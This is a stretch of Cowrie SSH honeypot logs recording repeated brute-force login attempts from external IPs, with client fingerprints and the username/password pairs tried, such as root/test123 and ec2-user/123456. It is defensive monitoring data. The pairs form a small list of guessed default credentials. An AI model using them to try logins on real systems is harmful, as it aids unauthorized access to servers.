{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:08.285395Z","src_ip":"172.237.20.62","session":"a99969821608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42074,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef033b9b9b2","protocol":"ssh","message":"New connection: 172.237.20.62:42074 (159.203.135.109:22) [session: 3ef033b9b9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:17.253924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:17.259344Z","src_ip":"172.237.20.62","session":"3ef033b9b9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:17.424287Z","src_ip":"172.237.20.62","session":"3ef033b9b9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:17.910424Z","src_ip":"172.237.20.62","session":"3ef033b9b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:19.125300Z","src_ip":"172.237.20.62","session":"3ef033b9b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45830,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb53a8e51419","protocol":"ssh","message":"New connection: 172.237.20.62:45830 (159.203.135.109:22) [session: bb53a8e51419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:28.122478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:28.126735Z","src_ip":"172.237.20.62","session":"bb53a8e51419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:28.290680Z","src_ip":"172.237.20.62","session":"bb53a8e51419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:28.843421Z","src_ip":"172.237.20.62","session":"bb53a8e51419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:30.009948Z","src_ip":"172.237.20.62","session":"bb53a8e51419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34262,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd11a86cd632","protocol":"ssh","message":"New connection: 172.237.20.62:34262 (159.203.135.109:22) [session: dd11a86cd632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:38.984804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:38.990197Z","src_ip":"172.237.20.62","session":"dd11a86cd632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:39.151717Z","src_ip":"172.237.20.62","session":"dd11a86cd632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:39.638680Z","src_ip":"172.237.20.62","session":"dd11a86cd632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:40.804522Z","src_ip":"172.237.20.62","session":"dd11a86cd632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":45164,"dst_ip":"10.17.0.5","dst_port":22,"session":"804698811858","protocol":"ssh","message":"New connection: 154.198.162.75:45164 (10.17.0.5:22) [session: 804698811858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:42.956463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:42.961289Z","src_ip":"154.198.162.75","session":"804698811858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:43.168831Z","src_ip":"154.198.162.75","session":"804698811858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123321","message":"login attempt [odoo/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:44.019653Z","src_ip":"154.198.162.75","session":"804698811858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:45.232276Z","src_ip":"154.198.162.75","session":"804698811858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53714,"dst_ip":"159.203.135.109","dst_port":22,"session":"6db5b692995b","protocol":"ssh","message":"New connection: 172.237.20.62:53714 (159.203.135.109:22) [session: 6db5b692995b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:50.009934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:50.017291Z","src_ip":"172.237.20.62","session":"6db5b692995b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:50.175029Z","src_ip":"172.237.20.62","session":"6db5b692995b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:50.817136Z","src_ip":"172.237.20.62","session":"6db5b692995b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:51.983598Z","src_ip":"172.237.20.62","session":"6db5b692995b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42622,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d25f070b06e","protocol":"ssh","message":"New connection: 172.237.20.62:42622 (159.203.135.109:22) [session: 9d25f070b06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:00.776925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:00.781808Z","src_ip":"172.237.20.62","session":"9d25f070b06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:00.945239Z","src_ip":"172.237.20.62","session":"9d25f070b06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:01.434751Z","src_ip":"172.237.20.62","session":"9d25f070b06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:02.600787Z","src_ip":"172.237.20.62","session":"9d25f070b06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3c7650543e1","protocol":"ssh","message":"New connection: 172.237.20.62:45722 (159.203.135.109:22) [session: e3c7650543e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:11.808928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:11.813375Z","src_ip":"172.237.20.62","session":"e3c7650543e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:11.976191Z","src_ip":"172.237.20.62","session":"e3c7650543e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:12.537065Z","src_ip":"172.237.20.62","session":"e3c7650543e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:13.703014Z","src_ip":"172.237.20.62","session":"e3c7650543e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35410,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d4e74e7468","protocol":"ssh","message":"New connection: 172.237.20.62:35410 (159.203.135.109:22) [session: d7d4e74e7468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:22.791905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:22.796533Z","src_ip":"172.237.20.62","session":"d7d4e74e7468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:22.959337Z","src_ip":"172.237.20.62","session":"d7d4e74e7468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:23.448439Z","src_ip":"172.237.20.62","session":"d7d4e74e7468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:24.613728Z","src_ip":"172.237.20.62","session":"d7d4e74e7468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59574,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1277a57f1f2","protocol":"ssh","message":"New connection: 172.237.20.62:59574 (159.203.135.109:22) [session: e1277a57f1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:33.602859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:33.607497Z","src_ip":"172.237.20.62","session":"e1277a57f1f2","protocol":"ssh"}
